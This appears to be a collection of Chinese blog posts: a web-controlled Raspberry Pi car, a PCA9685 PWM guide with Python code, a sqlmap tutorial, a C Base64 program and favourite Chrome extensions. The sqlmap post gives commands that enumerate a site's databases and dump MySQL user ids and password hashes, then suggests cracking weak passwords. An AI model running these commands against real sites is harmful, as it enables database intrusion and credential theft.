WEB控制的WIFI小车(基于树莓派)

网上有不少基于树莓派的wifi小车了,不过大都不是用WEB界面来控制的,所以我就想做一个能用WEB控制的小车,用WEB控制是因为通用性比较好,不管什么设备只要有浏览器就能控制它。

硬件部分

首先要感谢我敬爱的老师,为我提供各种资源。

所需硬件:

  • 树莓派(我用的是树莓派3)
  • CSI接口的摄像头
  • PCA9685(PWM扩展板,用于产生PWM波,树莓派也可以产生PWM波,不过不好用)
  • L298N模块(驱动马达)
  • 电池
  • DC-DC电源模块(将电池电压升/降至树莓派需要的5V)
  • 小车底盘、马达等

硬件连接:

首先是电源分别接L298N模块DC-DC电源模块,并将DC-DC电源模块的5V输出接树莓派,树莓派的几个I/O口接L298N模块L298N模块的输出接马达。L298N模块的使用方法很简单,在这里就不多介绍了,不明白的话请自行搜索。由于小车是四轮四驱,差速转向,所以理论上一个L298N模块就够了。
然后树莓派和PCA9685是通过I2C协议和树莓派通信,PCA9685的PWM输出接L298N模块,关于PCA9685的使用可参见我的另一篇博文

软件部分

代码全部开源,已上传GitHub https://github.com/cosimahan/MyRaspberryPi ,小车的启动程序是web目录下的myweb.py
主要使用树莓派官方推荐的Python语言,和下面几个库:

  • flask 轻量级的web框架
  • RPi.GPIO 控制I/O口
  • smbus I2C通信

这几个库的用法不再赘述,网络上有相关资料。
大概思路是通过flask这一web框架,实现对发来的请求(GET和POST)进行响应(即返回HTML)和动作(即使小车行动)。
在网页中使用了JavaScript来实现键盘监听(这样按上下左右就可以让小车动了),JavaScript中的jQuery库来实现请求的发送。
视频回传是直接用的mjpg-streamer,实现WEB端视频实时回传。

PCA9685中文简要文档

前言

近来用做了个树莓派控制的小车,可是树莓派的 PWM 输出的确不怎么样,在用 RPi.GPIO 库输出 PWM 波时还出现了找不到原因的 bug(占空比无法保持,始终自动减小至0后跳回原值),找了半天资料也没有结果,无奈之下只好用 PCA9685 这一 I2C 接口的 PWM 扩展板。
这里简单记录一下它的使用方法。本人水平有限,如有不当之处请指正。

简介

PCA9685 是 NXP 产的 I2C 总线接口的16路12位的 PWM 发生芯片(模块),需要2.3V ~ 5.5V供电,频率可调(24Hz ~ 1526Hz),厂商提供的文档以控制 LED 灯为例进行说明,一些细节问题还是要看厂商的文档。
它在 I2C 总线上的地址初始是0x40,可硬改;内部是寄存器寻址范围是0x00 ~ 0x45和0xfa ~ 0xff,其中0x00和0x01是两个模式寄存器 MODE1 和 MODE2 [1];0x02 ~ 0x05是子地址和广播地址;从0x06 ~ 0x45每4个一组共16组,依次表示第0~15个 PWM 输出端电平高低跳变的控制数据[2];对0xfa ~ 0xfd写数据可同时设置前面16组寄存器的内容(读无效);0xfe是频率寄存器[3],0xff为测试模式,不要动它。
[1]: MODE1寄存器共8位,从高位到低位含义为:7.restart 重新按寄存器的内容输出PWM信号,写1后动作执行并自动回0,6.extclk 选择外部/内部时钟,5.AI 自增使能,4.sleep 振荡器不工作,3~0.位是子地址和广播地址的使能位。MODE2暂时用不着。
[2]: 每组4个,地址由低到高为:led_on_h、led_on_l、led_off_h、led_off_h。led_on_h的高7~5位无用,第4位为常开使能,第3~0位和led_on_l的全部8位共12位共同组成跳变到高电平的时间t(在每个周期的t/4096时由低电平跳变到高电平),led_off_h 与 led_off_l同理。
[3]: 频率寄存器的值由公式 value=(25000000/(4096*freq))-1 得出。

具体使用

上电后 MODE1 中的 sleep 为1(即振荡器不工作),首先我们要设置频率(仅当 sleep 位为1时向频率寄存器写入的值才有效),设置好频率之后关闭 sleep 并向 restart 位写1后设置的频率生效并开始输出 PWM 波。接下来可以设置占空比,设置立即生效,如果观察不到输出波形请检查常开使能和常关使能是否有效。

示例程序(Python)

参考了因特网上一些资料,在此表示感谢

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding: utf-8 -*-  
import RPi.GPIO as GPIO
import time
import smbus

class PCA9685:
mode1adr=0x00 #0x00
mode2adr=0x01
subadr1=0x02
subadr2=0x03
subadr3=0x04
allcalladr=0x05
led0_on_l_adr=0x06
led0_on_h_adr=0x07
led0_off_l_adr=0x08
led0_off_h_adr=0x09
led1_on_l_adr=0x0a
led1_on_h_adr=0x0b
led1_off_l_adr=0x0c
led1_off_h_adr=0x0d
#....................
all_led_on_l_adr=0xfa
all_led_on_h_adr=0xfb
all_led_off_l_adr=0xfc
all_led_off_h_adr=0xfd
pre_scale=0xfe #freq

init_mode=0x01

freq = 0

def __init__(self,i2c_ch,PCA9685adr):
self.PCA9685adr = PCA9685adr
self.bus = smbus.SMBus(i2c_ch)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,self.init_mode)
self.setFreq(50)

def toByte(self,x1):
if x1<0xff:
x_l=x1
x_h=0x00
else :
x_h=x1/256
x_l=x1-x_h*256
return x_l,x_h

def write_16(self,led_num,uInt16):
(uInt16L,uInt16H)=self.toByte(uInt16)
self.bus.write_byte_data(self.PCA9685adr,led_num,uInt16L)
self.bus.write_byte_data(self.PCA9685adr,led_num+1,uInt16H)

def write_8(self,led_num,uInt8):
self.bus.write_byte_data(self.PCA9685adr,led_num,uInt8)


def setFreq(self,freq):
data=(25000000/(4096*freq))-1
data=int(data+0.49)
oldmode = self.bus.read_byte_data(self.PCA9685adr,self.mode1adr)
newmode = (oldmode & 0x7F) | 0x10
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,newmode)
self.bus.write_byte_data(self.PCA9685adr,self.pre_scale,data)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode)
print str(freq)+' F'
time.sleep(0.005)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode|0xa1)
self.bus.write_byte_data(self.PCA9685adr,self.mode1adr,oldmode)
self.freq = freq
def getFreq(self):
return self.freq

def setDuty(self,led_num,duty):
data = int(float(duty)/100*4095)
print str([duty,data])+' E'
if duty < 0:
self.write_16(self.led0_on_l_adr+4*led_num,0)
self.write_16(self.led0_off_l_adr+4*led_num,0)
if duty < 100 and duty >= 0:
self.write_16(self.led0_on_l_adr+4*led_num,0)
self.write_16(self.led0_off_l_adr+4*led_num,data)
elif duty >= 100:
self.write_16(self.led0_on_l_adr+4*led_num,0x1000)
self.write_16(self.led0_off_l_adr+4*led_num,0x0FFF)

sqlmap的简单应用

引用下官方介绍:sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. 即sqlmap是个开源的测试工具,能自动检测和利用SQL注入漏洞。
本文以获取 DBMS 用户和密码 hash 为例,简单介绍下sqlmap的使用。
sqlmap的使用很简单,其命令选项被归类为目标(Target)选项、请求(Request)选项、优化、注入、检测、技巧(Techniques)、指纹、枚举等。使用如下命令可获取帮助

python sqlmap.py -h

当你发现疑似可以注入的地方时,使用 -u 参数指定注入页面,如果需以 post 方式注入,可使用 –data 参数,用法如下:

sqlmap.py -u “http://example.xxx/1.php?id=2&pw=3“ (get方式)

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” (post方式)

如果可以注入,sqlmap 会给出数据库的相关信息提示。
接下来就该列出 DBMS 数据库了,使用 –dbs 参数:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” –dbs

等了一会,枚举完成,根据这过程中的相关提示我们知道目标为运行在 Ubuntu 上的 MySQL ,所以我们的目标是“mysql”这个数据库。
然后需要列出 mysql 数据库中有哪些表,使用 -D 指定数据库,–tables 枚举表:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql –tables

在结果中有 user 这个表,根据猜想这个表里应该有用户名和密码,下一步枚举这个表中的列,使用 -T 指定表 –columns 枚举列:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql -T user –columns

结果有好多,其中有 id 和 password 等列,印证了我们的猜想。
最后一步便是把用户名和密码 dump 出来,使用 -C 指定列,使用 –dump 来 dump:

sqlmap.py -u “http://example.xxx/1.php“ –data “id=2&pw=3” -D mysql -T user -C id,password –dump

经过一番等待之后,结果便出来了。

如果是原始密码弱密码的话,可以轻易在一些解密网站上查得到原始密码。

简单的Base64编码解码程序(纯C语言)

先声明一下这其中编码解码的算法部分不是我手打的,是参考现有的程序。
该代码编译后可直接运行,亦可带参运行,程序内有提示。
有时间我会把它做成PHP版,那就更方便了。

main.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
const char base[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
char* base64_encode(const char* data, int data_len);
char* base64_decode(const char* data, int data_len);
void do_decode(char*);
void do_encode(char*);
static char find_pos(char ch);
const int MAXIN = 1001;
int main(int argc, char* argv[])
{


char e_d = 'a';
char t[MAXIN] = "";
//printf("%d@%s@%s", argc, argv[0], argv[1]);
if (argc > 1) {
if ((argc == 2 || argc == 3) && (argv[1][1] == 0) && (argv[1][0] == 'e' || argv[1][0] == 'd')) {

e_d = argv[1][0];
if (e_d == 'e') {
if (argc == 2) {
printf("Max input length is %d\n", MAXIN - 1);
scanf("%s", t);
do_encode(t);
}
else do_encode(argv[2]);
}
else if (e_d == 'd') {
if (argc == 2) {
printf("Max input length is %d\n", MAXIN - 1);
scanf("%s", t);
do_decode(t);
}
else do_decode(argv[2]);
}
}
else printf(" Usage: %s Commands [String] \nCommands:\n\te - encode\n\td - decode\n",argv[0]);
}
else {
printf("Base64 encode/decode(e/d) ?\n");
char input_ed[111] = "";
while ((scanf("%s", input_ed)), e_d = input_ed[0], (e_d != 'e' && e_d != 'd' || input_ed[1] != 0))printf("Input Eror\n");


printf("Max input length is %d, enter CTRL+C to exit.\n", MAXIN - 1);

while (printf("\nPlease input: ")) {

scanf("%s", t);


if (e_d == 'e') {
do_encode(t);
}
else if (e_d == 'd') {
do_decode(t);
}
else {
printf("ERROR\n");
break;
}
}
}

return 0;
}
/* */
void do_encode(char* t) {

int j = strlen(t);

char *enc = base64_encode(t, j);
int len = strlen(enc);
char *dec = base64_decode(enc, len);
printf("\noriginal: %s\n", t);
printf("\nencoded : %s\n", enc);
printf("\ndecoded : %s\n", dec);
free(enc);
free(dec);

}
void do_decode(char* t) {
//char t[MAXIN] = "";
//scanf("%s", t);
//int i = 0;
int j = strlen(t);

char *dec = base64_decode(t, j);
int len = strlen(dec);
char *enc = base64_encode(dec, len);
printf("\noriginal: %s\n", t);
printf("\ndecoded : %s\n", dec);
printf("\nencoded : %s\n", enc);
free(enc);
free(dec);
}
char *base64_encode(const char* data, int data_len)
{

//int data_len = strlen(data);
int prepare = 0;
int ret_len;
int temp = 0;
char *ret = NULL;
char *f = NULL;
int tmp = 0;
char changed[4];
int i = 0;
ret_len = data_len / 3;
temp = data_len % 3;
if (temp > 0)
{
ret_len += 1;
}
ret_len = ret_len * 4 + 1;
ret = (char *)malloc(ret_len);

if (ret == NULL)
{
printf("No enough memory.\n");
exit(0);
}
memset(ret, 0, ret_len);
f = ret;
while (tmp < data_len)
{
temp = 0;
prepare = 0;
memset(changed, '\0', 4);
while (temp < 3)
{
//printf("tmp = %d\n", tmp);
if (tmp >= data_len)
{
break;
}
prepare = ((prepare << 8) | (data[tmp] & 0xFF));
tmp++;
temp++;
}
prepare = (prepare << ((3 - temp) * 8));
//printf("before for : temp = %d, prepare = %d\n", temp, prepare);
for (i = 0; i < 4; i++)
{
if (temp < i)
{
changed[i] = 0x40;
}
else
{
changed[i] = (prepare >> ((3 - i) * 6)) & 0x3F;
}
*f = base[changed[i]];
//printf("%.2X", changed[i]);
f++;
}
}
*f = '\0';

return ret;

}
/* */
static char find_pos(char ch)
{

char *ptr = (char*)strrchr(base, ch);//the last position (the only) in base[]
return (ptr - base);
}
/* */
char *base64_decode(const char *data, int data_len)
{

int ret_len = (data_len / 4) * 3;
int equal_count = 0;
char *ret = NULL;
char *f = NULL;
int tmp = 0;
int temp = 0;
char need[3];
int prepare = 0;
int i = 0;
if (*(data + data_len - 1) == '=')
{
equal_count += 1;
}
if (*(data + data_len - 2) == '=')
{
equal_count += 1;
}
if (*(data + data_len - 3) == '=')
{//seems impossible
equal_count += 1;
}
switch (equal_count)
{
case 0:
ret_len += 4;//3 + 1 [1 for NULL]
break;
case 1:
ret_len += 4;//Ceil((6*3)/8)+1
break;
case 2:
ret_len += 3;//Ceil((6*2)/8)+1
break;
case 3:
ret_len += 2;//Ceil((6*1)/8)+1
break;
}
ret = (char *)malloc(ret_len);
if (ret == NULL)
{
printf("No enough memory.\n");
exit(0);
}
memset(ret, 0, ret_len);
f = ret;
while (tmp < (data_len - equal_count))
{
temp = 0;
prepare = 0;
memset(need, 0, 3);
while (temp < 4)
{
if (tmp >= (data_len - equal_count))
{
break;
}
prepare = (prepare << 6) | (find_pos(data[tmp]));
temp++;
tmp++;
}
prepare = prepare << ((4 - temp) * 6);
for (i = 0; i<3; i++)
{
if (i == temp)
{
break;
}
*f = (char)((prepare >> ((2 - i) * 8)) & 0xFF);
f++;
}
}
*f = '\0';
return ret;
}

一些我喜欢用的 Chrome (Chromium) 扩展

Adblock Plus

把它列在第一好像不是那么好,毕竟不少网站可是靠广告收入的维持的,可是我实在不想看到那些下三滥的广告了。这款插件功能确实不错,同时也可以屏蔽追踪(理论上),easylist 加自定义屏蔽对我已经够用了。

Vimium

神器,将 Vim 的控制方式带到 Chromium ,浏览网页基本无需鼠标。

划词翻译

很方便的翻译插件,词汇量低者的福音。

Google Mail Checker

它能显示未读邮件数,还能快速进入邮箱。

网易邮箱

功能基本同 Google Mail Checker,只是邮箱服务商变成了网易。

Chrome Sniffer Plus

“探测当前网页正在使用的开源软件或者js类库,web开发者必备神器。”

Proxy SwitchyOmega

“轻松快捷地管理和切换多个代理设置。”

crxMouse Chrome Gestures

鼠标手势插件,其实我用的不多,毕竟键盘更快。

EditThisCookie

这是一个cookie管理器,能添加,删除,编辑,搜索,锁定和屏蔽cookies。